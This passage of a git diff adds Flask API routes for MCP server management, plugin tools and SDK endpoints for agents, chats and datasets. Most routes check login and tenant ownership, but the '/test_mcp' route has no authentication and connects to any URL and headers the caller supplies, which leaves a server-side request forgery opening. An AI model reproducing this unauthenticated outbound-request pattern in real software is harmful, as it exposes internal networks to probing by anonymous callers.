+ "variables": {"authorization_token": config.get("authorization_token", "")},
+ }
+
+ headers = {"authorization_token": config["authorization_token"]} if "authorization_token" in config else {}
+ variables = {k: v for k, v in config.items() if k not in {"type", "url", "headers"}}
+ mcp_server = MCPServer(id=new_name, name=new_name, url=config["url"], server_type=config["type"], variables=variables, headers=headers)
+ server_tools, err_message = get_mcp_tools([mcp_server], timeout)
+ if err_message:
+ results.append({"server": base_name, "success": False, "message": err_message})
+ continue
+
+ tools = server_tools[new_name]
+ tools = {tool["name"]: tool for tool in tools if isinstance(tool, dict) and "name" in tool}
+ create_data["variables"]["tools"] = tools
+
+ if MCPServerService.insert(**create_data):
+ result = {"server": server_name, "success": True, "action": "created", "id": create_data["id"], "new_name": new_name}
+ if new_name != base_name:
+ result["message"] = f"Renamed from '{base_name}' to '{new_name}' avoid duplication"
+ results.append(result)
+ else:
+ results.append({"server": server_name, "success": False, "message": "Failed to create MCP server."})
+
+ return get_json_result(data={"results": results})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/export", methods=["POST"]) # noqa: F821
+@login_required
+@validate_request("mcp_ids")
+def export_multiple() -> Response:
+ req = request.get_json()
+ mcp_ids = req.get("mcp_ids", [])
+
+ if not mcp_ids:
+ return get_data_error_result(message="No MCP server IDs provided.")
+
+ try:
+ exported_servers = {}
+
+ for mcp_id in mcp_ids:
+ e, mcp_server = MCPServerService.get_by_id(mcp_id)
+
+ if e and mcp_server.tenant_id == current_user.id:
+ server_key = mcp_server.name
+
+ exported_servers[server_key] = {
+ "type": mcp_server.server_type,
+ "url": mcp_server.url,
+ "name": mcp_server.name,
+ "authorization_token": mcp_server.variables.get("authorization_token", ""),
+ "tools": mcp_server.variables.get("tools", {}),
+ }
+
+ return get_json_result(data={"mcpServers": exported_servers})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/list_tools", methods=["POST"]) # noqa: F821
+@login_required
+@validate_request("mcp_ids")
+def list_tools() -> Response:
+ req = request.get_json()
+ mcp_ids = req.get("mcp_ids", [])
+ if not mcp_ids:
+ return get_data_error_result(message="No MCP server IDs provided.")
+
+ timeout = get_float(req, "timeout", 10)
+
+ results = {}
+ tool_call_sessions = []
+ try:
+ for mcp_id in mcp_ids:
+ e, mcp_server = MCPServerService.get_by_id(mcp_id)
+
+ if e and mcp_server.tenant_id == current_user.id:
+ server_key = mcp_server.id
+
+ cached_tools = mcp_server.variables.get("tools", {})
+
+ tool_call_session = MCPToolCallSession(mcp_server, mcp_server.variables)
+ tool_call_sessions.append(tool_call_session)
+
+ try:
+ tools = tool_call_session.get_tools(timeout)
+ except Exception as e:
+ tools = []
+ return get_data_error_result(message=f"MCP list tools error: {e}")
+
+ results[server_key] = []
+ for tool in tools:
+ tool_dict = tool.model_dump()
+ cached_tool = cached_tools.get(tool_dict["name"], {})
+
+ tool_dict["enabled"] = cached_tool.get("enabled", True)
+ results[server_key].append(tool_dict)
+
+ return get_json_result(data=results)
+ except Exception as e:
+ return server_error_response(e)
+ finally:
+ # PERF: blocking call to close sessions — consider moving to background thread or task queue
+ close_multiple_mcp_toolcall_sessions(tool_call_sessions)
+
+
+@manager.route("/test_tool", methods=["POST"]) # noqa: F821
+@login_required
+@validate_request("mcp_id", "tool_name", "arguments")
+def test_tool() -> Response:
+ req = request.get_json()
+ mcp_id = req.get("mcp_id", "")
+ if not mcp_id:
+ return get_data_error_result(message="No MCP server ID provided.")
+
+ timeout = get_float(req, "timeout", 10)
+
+ tool_name = req.get("tool_name", "")
+ arguments = req.get("arguments", {})
+ if not all([tool_name, arguments]):
+ return get_data_error_result(message="Require provide tool name and arguments.")
+
+ tool_call_sessions = []
+ try:
+ e, mcp_server = MCPServerService.get_by_id(mcp_id)
+ if not e or mcp_server.tenant_id != current_user.id:
+ return get_data_error_result(message=f"Cannot find MCP server {mcp_id} for user {current_user.id}")
+
+ tool_call_session = MCPToolCallSession(mcp_server, mcp_server.variables)
+ tool_call_sessions.append(tool_call_session)
+ result = tool_call_session.tool_call(tool_name, arguments, timeout)
+
+ # PERF: blocking call to close sessions — consider moving to background thread or task queue
+ close_multiple_mcp_toolcall_sessions(tool_call_sessions)
+ return get_json_result(data=result)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/cache_tools", methods=["POST"]) # noqa: F821
+@login_required
+@validate_request("mcp_id", "tools")
+def cache_tool() -> Response:
+ req = request.get_json()
+ mcp_id = req.get("mcp_id", "")
+ if not mcp_id:
+ return get_data_error_result(message="No MCP server ID provided.")
+ tools = req.get("tools", [])
+
+ e, mcp_server = MCPServerService.get_by_id(mcp_id)
+ if not e or mcp_server.tenant_id != current_user.id:
+ return get_data_error_result(message=f"Cannot find MCP server {mcp_id} for user {current_user.id}")
+
+ variables = mcp_server.variables
+ tools = {tool["name"]: tool for tool in tools if isinstance(tool, dict) and "name" in tool}
+ variables["tools"] = tools
+
+ if not MCPServerService.filter_update([MCPServer.id == mcp_id, MCPServer.tenant_id == current_user.id], {"variables": variables}):
+ return get_data_error_result(message="Failed to updated MCP server.")
+
+ return get_json_result(data=tools)
+
+
+@manager.route("/test_mcp", methods=["POST"]) # noqa: F821
+@validate_request("url", "server_type")
+def test_mcp() -> Response:
+ req = request.get_json()
+
+ url = req.get("url", "")
+ if not url:
+ return get_data_error_result(message="Invalid MCP url.")
+
+ server_type = req.get("server_type", "")
+ if server_type not in VALID_MCP_SERVER_TYPES:
+ return get_data_error_result(message="Unsupported MCP server type.")
+
+ timeout = get_float(req, "timeout", 10)
+ headers = safe_json_parse(req.get("headers", {}))
+ variables = safe_json_parse(req.get("variables", {}))
+
+ mcp_server = MCPServer(id=f"{server_type}: {url}", server_type=server_type, url=url, headers=headers, variables=variables)
+
+ result = []
+ try:
+ tool_call_session = MCPToolCallSession(mcp_server, mcp_server.variables)
+
+ try:
+ tools = tool_call_session.get_tools(timeout)
+ except Exception as e:
+ tools = []
+ return get_data_error_result(message=f"Test MCP error: {e}")
+ finally:
+ # PERF: blocking call to close sessions — consider moving to background thread or task queue
+ close_multiple_mcp_toolcall_sessions([tool_call_session])
+
+ for tool in tools:
+ tool_dict = tool.model_dump()
+ tool_dict["enabled"] = True
+ result.append(tool_dict)
+
+ return get_json_result(data=result)
+ except Exception as e:
+ return server_error_response(e)
diff --git a/api/apps/plugin_app.py b/api/apps/plugin_app.py
new file mode 100644
index 0000000..dcd209d
--- /dev/null
+++ b/api/apps/plugin_app.py
@@ -0,0 +1,12 @@
+from flask import Response
+from flask_login import login_required
+from api.utils.api_utils import get_json_result
+from plugin import GlobalPluginManager
+
+@manager.route('/llm_tools', methods=['GET']) # noqa: F821
+@login_required
+def llm_tools() -> Response:
+ tools = GlobalPluginManager.get_llm_tools()
+ tools_metadata = [t.get_metadata() for t in tools]
+
+ return get_json_result(data=tools_metadata)
diff --git a/api/apps/sdk/agent.py b/api/apps/sdk/agent.py
new file mode 100644
index 0000000..704a3ff
--- /dev/null
+++ b/api/apps/sdk/agent.py
@@ -0,0 +1,128 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import json
+import time
+from typing import Any, cast
+from api.db.services.canvas_service import UserCanvasService
+from api.db.services.user_canvas_version import UserCanvasVersionService
+from api.settings import RetCode
+from api.utils import get_uuid
+from api.utils.api_utils import get_data_error_result, get_error_data_result, get_json_result, token_required
+from api.utils.api_utils import get_result
+from flask import request
+
+@manager.route('/agents', methods=['GET']) # noqa: F821
+@token_required
+def list_agents(tenant_id):
+ id = request.args.get("id")
+ title = request.args.get("title")
+ if id or title:
+ canvas = UserCanvasService.query(id=id, title=title, user_id=tenant_id)
+ if not canvas:
+ return get_error_data_result("The agent doesn't exist.")
+ page_number = int(request.args.get("page", 1))
+ items_per_page = int(request.args.get("page_size", 30))
+ orderby = request.args.get("orderby", "update_time")
+ if request.args.get("desc") == "False" or request.args.get("desc") == "false":
+ desc = False
+ else:
+ desc = True
+ canvas = UserCanvasService.get_list(tenant_id,page_number,items_per_page,orderby,desc,id,title)
+ return get_result(data=canvas)
+
+
+@manager.route("/agents", methods=["POST"]) # noqa: F821
+@token_required
+def create_agent(tenant_id: str):
+ req: dict[str, Any] = cast(dict[str, Any], request.json)
+ req["user_id"] = tenant_id
+
+ if req.get("dsl") is not None:
+ if not isinstance(req["dsl"], str):
+ req["dsl"] = json.dumps(req["dsl"], ensure_ascii=False)
+
+ req["dsl"] = json.loads(req["dsl"])
+ else:
+ return get_json_result(data=False, message="No DSL data in request.", code=RetCode.ARGUMENT_ERROR)
+
+ if req.get("title") is not None:
+ req["title"] = req["title"].strip()
+ else:
+ return get_json_result(data=False, message="No title in request.", code=RetCode.ARGUMENT_ERROR)
+
+ if UserCanvasService.query(user_id=tenant_id, title=req["title"]):
+ return get_data_error_result(message=f"Agent with title {req['title']} already exists.")
+
+ agent_id = get_uuid()
+ req["id"] = agent_id
+
+ if not UserCanvasService.save(**req):
+ return get_data_error_result(message="Fail to create agent.")
+
+ UserCanvasVersionService.insert(
+ user_canvas_id=agent_id,
+ title="{0}_{1}".format(req["title"], time.strftime("%Y_%m_%d_%H_%M_%S")),
+ dsl=req["dsl"]
+ )
+
+ return get_json_result(data=True)
+
+
+@manager.route("/agents/", methods=["PUT"]) # noqa: F821
+@token_required
+def update_agent(tenant_id: str, agent_id: str):
+ req: dict[str, Any] = {k: v for k, v in cast(dict[str, Any], request.json).items() if v is not None}
+ req["user_id"] = tenant_id
+
+ if req.get("dsl") is not None:
+ if not isinstance(req["dsl"], str):
+ req["dsl"] = json.dumps(req["dsl"], ensure_ascii=False)
+
+ req["dsl"] = json.loads(req["dsl"])
+
+ if req.get("title") is not None:
+ req["title"] = req["title"].strip()
+
+ if not UserCanvasService.query(user_id=tenant_id, id=agent_id):
+ return get_json_result(
+ data=False, message="Only owner of canvas authorized for this operation.",
+ code=RetCode.OPERATING_ERROR)
+
+ UserCanvasService.update_by_id(agent_id, req)
+
+ if req.get("dsl") is not None:
+ UserCanvasVersionService.insert(
+ user_canvas_id=agent_id,
+ title="{0}_{1}".format(req["title"], time.strftime("%Y_%m_%d_%H_%M_%S")),
+ dsl=req["dsl"]
+ )
+
+ UserCanvasVersionService.delete_all_versions(agent_id)
+
+ return get_json_result(data=True)
+
+
+@manager.route("/agents/", methods=["DELETE"]) # noqa: F821
+@token_required
+def delete_agent(tenant_id: str, agent_id: str):
+ if not UserCanvasService.query(user_id=tenant_id, id=agent_id):
+ return get_json_result(
+ data=False, message="Only owner of canvas authorized for this operation.",
+ code=RetCode.OPERATING_ERROR)
+
+ UserCanvasService.delete_by_id(agent_id)
+ return get_json_result(data=True)
diff --git a/api/apps/sdk/chat.py b/api/apps/sdk/chat.py
new file mode 100644
index 0000000..263375e
--- /dev/null
+++ b/api/apps/sdk/chat.py
@@ -0,0 +1,325 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+
+from flask import request
+
+from api import settings
+from api.db import StatusEnum
+from api.db.services.dialog_service import DialogService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.tenant_llm_service import TenantLLMService
+from api.db.services.user_service import TenantService
+from api.utils import get_uuid
+from api.utils.api_utils import check_duplicate_ids, get_error_data_result, get_result, token_required
+
+
+@manager.route("/chats", methods=["POST"]) # noqa: F821
+@token_required
+def create(tenant_id):
+ req = request.json
+ ids = [i for i in req.get("dataset_ids", []) if i]
+ for kb_id in ids:
+ kbs = KnowledgebaseService.accessible(kb_id=kb_id, user_id=tenant_id)
+ if not kbs:
+ return get_error_data_result(f"You don't own the dataset {kb_id}")
+ kbs = KnowledgebaseService.query(id=kb_id)
+ kb = kbs[0]
+ if kb.chunk_num == 0:
+ return get_error_data_result(f"The dataset {kb_id} doesn't own parsed file")
+
+ kbs = KnowledgebaseService.get_by_ids(ids) if ids else []
+ embd_ids = [TenantLLMService.split_model_name_and_factory(kb.embd_id)[0] for kb in kbs] # remove vendor suffix for comparison
+ embd_count = list(set(embd_ids))
+ if len(embd_count) > 1:
+ return get_result(message='Datasets use different embedding models."', code=settings.RetCode.AUTHENTICATION_ERROR)
+ req["kb_ids"] = ids
+ # llm
+ llm = req.get("llm")
+ if llm:
+ if "model_name" in llm:
+ req["llm_id"] = llm.pop("model_name")
+ if req.get("llm_id") is not None:
+ llm_name, llm_factory = TenantLLMService.split_model_name_and_factory(req["llm_id"])
+ if not TenantLLMService.query(tenant_id=tenant_id, llm_name=llm_name, llm_factory=llm_factory, model_type="chat"):
+ return get_error_data_result(f"`model_name` {req.get('llm_id')} doesn't exist")
+ req["llm_setting"] = req.pop("llm")
+ e, tenant = TenantService.get_by_id(tenant_id)
+ if not e:
+ return get_error_data_result(message="Tenant not found!")
+ # prompt
+ prompt = req.get("prompt")
+ key_mapping = {"parameters": "variables", "prologue": "opener", "quote": "show_quote", "system": "prompt", "rerank_id": "rerank_model", "vector_similarity_weight": "keywords_similarity_weight"}
+ key_list = ["similarity_threshold", "vector_similarity_weight", "top_n", "rerank_id", "top_k"]
+ if prompt:
+ for new_key, old_key in key_mapping.items():
+ if old_key in prompt:
+ prompt[new_key] = prompt.pop(old_key)
+ for key in key_list:
+ if key in prompt:
+ req[key] = prompt.pop(key)
+ req["prompt_config"] = req.pop("prompt")
+ # init
+ req["id"] = get_uuid()
+ req["description"] = req.get("description", "A helpful Assistant")
+ req["icon"] = req.get("avatar", "")
+ req["top_n"] = req.get("top_n", 6)
+ req["top_k"] = req.get("top_k", 1024)
+ req["rerank_id"] = req.get("rerank_id", "")
+ if req.get("rerank_id"):
+ value_rerank_model = ["BAAI/bge-reranker-v2-m3", "maidalun1020/bce-reranker-base_v1"]
+ if req["rerank_id"] not in value_rerank_model and not TenantLLMService.query(tenant_id=tenant_id, llm_name=req.get("rerank_id"), model_type="rerank"):
+ return get_error_data_result(f"`rerank_model` {req.get('rerank_id')} doesn't exist")
+ if not req.get("llm_id"):
+ req["llm_id"] = tenant.llm_id
+ if not req.get("name"):
+ return get_error_data_result(message="`name` is required.")
+ if DialogService.query(name=req["name"], tenant_id=tenant_id, status=StatusEnum.VALID.value):
+ return get_error_data_result(message="Duplicated chat name in creating chat.")
+ # tenant_id
+ if req.get("tenant_id"):
+ return get_error_data_result(message="`tenant_id` must not be provided.")
+ req["tenant_id"] = tenant_id
+ # prompt more parameter
+ default_prompt = {
+ "system": """You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence "The answer you are looking for is not found in the knowledge base!" Answers need to consider chat history.
+ Here is the knowledge base:
+ {knowledge}
+ The above is the knowledge base.""",
+ "prologue": "Hi! I'm your assistant. What can I do for you?",
+ "parameters": [{"key": "knowledge", "optional": False}],
+ "empty_response": "Sorry! No relevant content was found in the knowledge base!",
+ "quote": True,
+ "tts": False,
+ "refine_multiturn": True,
+ }
+ key_list_2 = ["system", "prologue", "parameters", "empty_response", "quote", "tts", "refine_multiturn"]
+ if "prompt_config" not in req:
+ req["prompt_config"] = {}
+ for key in key_list_2:
+ temp = req["prompt_config"].get(key)
+ if (not temp and key == "system") or (key not in req["prompt_config"]):
+ req["prompt_config"][key] = default_prompt[key]
+ for p in req["prompt_config"]["parameters"]:
+ if p["optional"]:
+ continue
+ if req["prompt_config"]["system"].find("{%s}" % p["key"]) < 0:
+ return get_error_data_result(message="Parameter '{}' is not used".format(p["key"]))
+ # save
+ if not DialogService.save(**req):
+ return get_error_data_result(message="Fail to new a chat!")
+ # response
+ e, res = DialogService.get_by_id(req["id"])
+ if not e:
+ return get_error_data_result(message="Fail to new a chat!")
+ res = res.to_json()
+ renamed_dict = {}
+ for key, value in res["prompt_config"].items():
+ new_key = key_mapping.get(key, key)
+ renamed_dict[new_key] = value
+ res["prompt"] = renamed_dict
+ del res["prompt_config"]
+ new_dict = {"similarity_threshold": res["similarity_threshold"], "keywords_similarity_weight": 1 - res["vector_similarity_weight"], "top_n": res["top_n"], "rerank_model": res["rerank_id"]}
+ res["prompt"].update(new_dict)
+ for key in key_list:
+ del res[key]
+ res["llm"] = res.pop("llm_setting")
+ res["llm"]["model_name"] = res.pop("llm_id")
+ del res["kb_ids"]
+ res["dataset_ids"] = req.get("dataset_ids", [])
+ res["avatar"] = res.pop("icon")
+ return get_result(data=res)
+
+
+@manager.route("/chats/", methods=["PUT"]) # noqa: F821
+@token_required
+def update(tenant_id, chat_id):
+ if not DialogService.query(tenant_id=tenant_id, id=chat_id, status=StatusEnum.VALID.value):
+ return get_error_data_result(message="You do not own the chat")
+ req = request.json
+ ids = req.get("dataset_ids", [])
+ if "show_quotation" in req:
+ req["do_refer"] = req.pop("show_quotation")
+ if ids:
+ for kb_id in ids:
+ kbs = KnowledgebaseService.accessible(kb_id=kb_id, user_id=tenant_id)
+ if not kbs:
+ return get_error_data_result(f"You don't own the dataset {kb_id}")
+ kbs = KnowledgebaseService.query(id=kb_id)
+ kb = kbs[0]
+ if kb.chunk_num == 0:
+ return get_error_data_result(f"The dataset {kb_id} doesn't own parsed file")
+
+ kbs = KnowledgebaseService.get_by_ids(ids)
+ embd_ids = [TenantLLMService.split_model_name_and_factory(kb.embd_id)[0] for kb in kbs] # remove vendor suffix for comparison
+ embd_count = list(set(embd_ids))
+ if len(embd_count) > 1:
+ return get_result(message='Datasets use different embedding models."', code=settings.RetCode.AUTHENTICATION_ERROR)
+ req["kb_ids"] = ids
+ llm = req.get("llm")
+ if llm:
+ if "model_name" in llm:
+ req["llm_id"] = llm.pop("model_name")
+ if req.get("llm_id") is not None:
+ llm_name, llm_factory = TenantLLMService.split_model_name_and_factory(req["llm_id"])
+ if not TenantLLMService.query(tenant_id=tenant_id, llm_name=llm_name, llm_factory=llm_factory, model_type="chat"):
+ return get_error_data_result(f"`model_name` {req.get('llm_id')} doesn't exist")
+ req["llm_setting"] = req.pop("llm")
+ e, tenant = TenantService.get_by_id(tenant_id)
+ if not e:
+ return get_error_data_result(message="Tenant not found!")
+ # prompt
+ prompt = req.get("prompt")
+ key_mapping = {"parameters": "variables", "prologue": "opener", "quote": "show_quote", "system": "prompt", "rerank_id": "rerank_model", "vector_similarity_weight": "keywords_similarity_weight"}
+ key_list = ["similarity_threshold", "vector_similarity_weight", "top_n", "rerank_id", "top_k"]
+ if prompt:
+ for new_key, old_key in key_mapping.items():
+ if old_key in prompt:
+ prompt[new_key] = prompt.pop(old_key)
+ for key in key_list:
+ if key in prompt:
+ req[key] = prompt.pop(key)
+ req["prompt_config"] = req.pop("prompt")
+ e, res = DialogService.get_by_id(chat_id)
+ res = res.to_json()
+ if req.get("rerank_id"):
+ value_rerank_model = ["BAAI/bge-reranker-v2-m3", "maidalun1020/bce-reranker-base_v1"]
+ if req["rerank_id"] not in value_rerank_model and not TenantLLMService.query(tenant_id=tenant_id, llm_name=req.get("rerank_id"), model_type="rerank"):
+ return get_error_data_result(f"`rerank_model` {req.get('rerank_id')} doesn't exist")
+ if "name" in req:
+ if not req.get("name"):
+ return get_error_data_result(message="`name` cannot be empty.")
+ if req["name"].lower() != res["name"].lower() and len(DialogService.query(name=req["name"], tenant_id=tenant_id, status=StatusEnum.VALID.value)) > 0:
+ return get_error_data_result(message="Duplicated chat name in updating chat.")
+ if "prompt_config" in req:
+ res["prompt_config"].update(req["prompt_config"])
+ for p in res["prompt_config"]["parameters"]:
+ if p["optional"]:
+ continue
+ if res["prompt_config"]["system"].find("{%s}" % p["key"]) < 0:
+ return get_error_data_result(message="Parameter '{}' is not used".format(p["key"]))
+ if "llm_setting" in req:
+ res["llm_setting"].update(req["llm_setting"])
+ req["prompt_config"] = res["prompt_config"]
+ req["llm_setting"] = res["llm_setting"]
+ # avatar
+ if "avatar" in req:
+ req["icon"] = req.pop("avatar")
+ if "dataset_ids" in req:
+ req.pop("dataset_ids")
+ if not DialogService.update_by_id(chat_id, req):
+ return get_error_data_result(message="Chat not found!")
+ return get_result()
+
+
+@manager.route("/chats", methods=["DELETE"]) # noqa: F821
+@token_required
+def delete(tenant_id):
+ errors = []
+ success_count = 0
+ req = request.json
+ if not req:
+ ids = None
+ else:
+ ids = req.get("ids")
+ if not ids:
+ id_list = []
+ dias = DialogService.query(tenant_id=tenant_id, status=StatusEnum.VALID.value)
+ for dia in dias:
+ id_list.append(dia.id)
+ else:
+ id_list = ids
+
+ unique_id_list, duplicate_messages = check_duplicate_ids(id_list, "assistant")
+
+ for id in unique_id_list:
+ if not DialogService.query(tenant_id=tenant_id, id=id, status=StatusEnum.VALID.value):
+ errors.append(f"Assistant({id}) not found.")
+ continue
+ temp_dict = {"status": StatusEnum.INVALID.value}
+ DialogService.update_by_id(id, temp_dict)
+ success_count += 1
+
+ if errors:
+ if success_count > 0:
+ return get_result(data={"success_count": success_count, "errors": errors}, message=f"Partially deleted {success_count} chats with {len(errors)} errors")
+ else:
+ return get_error_data_result(message="; ".join(errors))
+
+ if duplicate_messages:
+ if success_count > 0:
+ return get_result(message=f"Partially deleted {success_count} chats with {len(duplicate_messages)} errors", data={"success_count": success_count, "errors": duplicate_messages})
+ else:
+ return get_error_data_result(message=";".join(duplicate_messages))
+
+ return get_result()
+
+
+@manager.route("/chats", methods=["GET"]) # noqa: F821
+@token_required
+def list_chat(tenant_id):
+ id = request.args.get("id")
+ name = request.args.get("name")
+ if id or name:
+ chat = DialogService.query(id=id, name=name, status=StatusEnum.VALID.value, tenant_id=tenant_id)
+ if not chat:
+ return get_error_data_result(message="The chat doesn't exist")
+ page_number = int(request.args.get("page", 1))
+ items_per_page = int(request.args.get("page_size", 30))
+ orderby = request.args.get("orderby", "create_time")
+ if request.args.get("desc") == "False" or request.args.get("desc") == "false":
+ desc = False
+ else:
+ desc = True
+ chats = DialogService.get_list(tenant_id, page_number, items_per_page, orderby, desc, id, name)
+ if not chats:
+ return get_result(data=[])
+ list_assts = []
+ key_mapping = {
+ "parameters": "variables",
+ "prologue": "opener",
+ "quote": "show_quote",
+ "system": "prompt",
+ "rerank_id": "rerank_model",
+ "vector_similarity_weight": "keywords_similarity_weight",
+ "do_refer": "show_quotation",
+ }
+ key_list = ["similarity_threshold", "vector_similarity_weight", "top_n", "rerank_id"]
+ for res in chats:
+ renamed_dict = {}
+ for key, value in res["prompt_config"].items():
+ new_key = key_mapping.get(key, key)
+ renamed_dict[new_key] = value
+ res["prompt"] = renamed_dict
+ del res["prompt_config"]
+ new_dict = {"similarity_threshold": res["similarity_threshold"], "keywords_similarity_weight": 1 - res["vector_similarity_weight"], "top_n": res["top_n"], "rerank_model": res["rerank_id"]}
+ res["prompt"].update(new_dict)
+ for key in key_list:
+ del res[key]
+ res["llm"] = res.pop("llm_setting")
+ res["llm"]["model_name"] = res.pop("llm_id")
+ kb_list = []
+ for kb_id in res["kb_ids"]:
+ kb = KnowledgebaseService.query(id=kb_id)
+ if not kb:
+ logging.warning(f"The kb {kb_id} does not exist.")
+ continue
+ kb_list.append(kb[0].to_json())
+ del res["kb_ids"]
+ res["datasets"] = kb_list
+ res["avatar"] = res.pop("icon")
+ list_assts.append(res)
+ return get_result(data=list_assts)
diff --git a/api/apps/sdk/dataset.py b/api/apps/sdk/dataset.py
new file mode 100644
index 0000000..7b25f1d
--- /dev/null
+++ b/api/apps/sdk/dataset.py
@@ -0,0 +1,527 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+
+import logging
+import os
+import json
+from flask import request
+from peewee import OperationalError
+from api import settings
+from api.db import FileSource, StatusEnum
+from api.db.db_models import File
+from api.db.services.document_service import DocumentService
+from api.db.services.file2document_service import File2DocumentService
+from api.db.services.file_service import FileService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.user_service import TenantService
+from api.utils import get_uuid
+from api.utils.api_utils import (
+ deep_merge,
+ get_error_argument_result,
+ get_error_data_result,
+ get_error_operating_result,
+ get_error_permission_result,
+ get_parser_config,
+ get_result,
+ remap_dictionary_keys,
+ token_required,
+ verify_embedding_availability,
+)
+from api.utils.validation_utils import (
+ CreateDatasetReq,
+ DeleteDatasetReq,
+ ListDatasetReq,
+ UpdateDatasetReq,
+ validate_and_parse_json_request,
+ validate_and_parse_request_args,
+)
+from rag.nlp import search
+from rag.settings import PAGERANK_FLD
+
+
+@manager.route("/datasets", methods=["POST"]) # noqa: F821
+@token_required
+def create(tenant_id):
+ """
+ Create a new dataset.
+ ---
+ tags:
+ - Datasets
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: header
+ name: Authorization
+ type: string
+ required: true
+ description: Bearer token for authentication.
+ - in: body
+ name: body
+ description: Dataset creation parameters.
+ required: true
+ schema:
+ type: object
+ required:
+ - name
+ properties:
+ name:
+ type: string
+ description: Name of the dataset.
+ avatar:
+ type: string
+ description: Base64 encoding of the avatar.
+ description:
+ type: string
+ description: Description of the dataset.
+ embedding_model:
+ type: string
+ description: Embedding model Name.
+ permission:
+ type: string
+ enum: ['me', 'team']
+ description: Dataset permission.
+ chunk_method:
+ type: string
+ enum: ["naive", "book", "email", "laws", "manual", "one", "paper",
+ "picture", "presentation", "qa", "table", "tag"
+ ]
+ description: Chunking method.
+ parser_config:
+ type: object
+ description: Parser configuration.
+ responses:
+ 200:
+ description: Successful operation.
+ schema:
+ type: object
+ properties:
+ data:
+ type: object
+ """
+ # Field name transformations during model dump:
+ # | Original | Dump Output |
+ # |----------------|-------------|
+ # | embedding_model| embd_id |
+ # | chunk_method | parser_id |
+ req, err = validate_and_parse_json_request(request, CreateDatasetReq)
+ if err is not None:
+ return get_error_argument_result(err)
+
+ try:
+ if KnowledgebaseService.get_or_none(name=req["name"], tenant_id=tenant_id, status=StatusEnum.VALID.value):
+ return get_error_operating_result(message=f"Dataset name '{req['name']}' already exists")
+
+ req["parser_config"] = get_parser_config(req["parser_id"], req["parser_config"])
+ req["id"] = get_uuid()
+ req["tenant_id"] = tenant_id
+ req["created_by"] = tenant_id
+
+ ok, t = TenantService.get_by_id(tenant_id)
+ if not ok:
+ return get_error_permission_result(message="Tenant not found")
+
+ if not req.get("embd_id"):
+ req["embd_id"] = t.embd_id
+ else:
+ ok, err = verify_embedding_availability(req["embd_id"], tenant_id)
+ if not ok:
+ return err
+
+ if not KnowledgebaseService.save(**req):
+ return get_error_data_result(message="Create dataset error.(Database error)")
+
+ ok, k = KnowledgebaseService.get_by_id(req["id"])
+ if not ok:
+ return get_error_data_result(message="Dataset created failed")
+
+ response_data = remap_dictionary_keys(k.to_dict())
+ return get_result(data=response_data)
+ except OperationalError as e:
+ logging.exception(e)
+ return get_error_data_result(message="Database operation failed")
+
+
+@manager.route("/datasets", methods=["DELETE"]) # noqa: F821
+@token_required
+def delete(tenant_id):
+ """
+ Delete datasets.
+ ---
+ tags:
+ - Datasets
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: header
+ name: Authorization
+ type: string
+ required: true
+ description: Bearer token for authentication.
+ - in: body
+ name: body
+ description: Dataset deletion parameters.
+ required: true
+ schema:
+ type: object
+ required:
+ - ids
+ properties:
+ ids:
+ type: array or null
+ items:
+ type: string
+ description: |
+ Specifies the datasets to delete:
+ - If `null`, all datasets will be deleted.
+ - If an array of IDs, only the specified datasets will be deleted.
+ - If an empty array, no datasets will be deleted.
+ responses:
+ 200:
+ description: Successful operation.
+ schema:
+ type: object
+ """
+ req, err = validate_and_parse_json_request(request, DeleteDatasetReq)
+ if err is not None:
+ return get_error_argument_result(err)
+
+ try:
+ kb_id_instance_pairs = []
+ if req["ids"] is None:
+ kbs = KnowledgebaseService.query(tenant_id=tenant_id)
+ for kb in kbs:
+ kb_id_instance_pairs.append((kb.id, kb))
+
+ else:
+ error_kb_ids = []
+ for kb_id in req["ids"]:
+ kb = KnowledgebaseService.get_or_none(id=kb_id, tenant_id=tenant_id)
+ if kb is None:
+ error_kb_ids.append(kb_id)
+ continue
+ kb_id_instance_pairs.append((kb_id, kb))
+ if len(error_kb_ids) > 0:
+ return get_error_permission_result(message=f"""User '{tenant_id}' lacks permission for datasets: '{", ".join(error_kb_ids)}'""")
+
+ errors = []
+ success_count = 0
+ for kb_id, kb in kb_id_instance_pairs:
+ for doc in DocumentService.query(kb_id=kb_id):
+ if not DocumentService.remove_document(doc, tenant_id):
+ errors.append(f"Remove document '{doc.id}' error for dataset '{kb_id}'")
+ continue
+ f2d = File2DocumentService.get_by_document_id(doc.id)
+ FileService.filter_delete(
+ [
+ File.source_type == FileSource.KNOWLEDGEBASE,
+ File.id == f2d[0].file_id,
+ ]
+ )
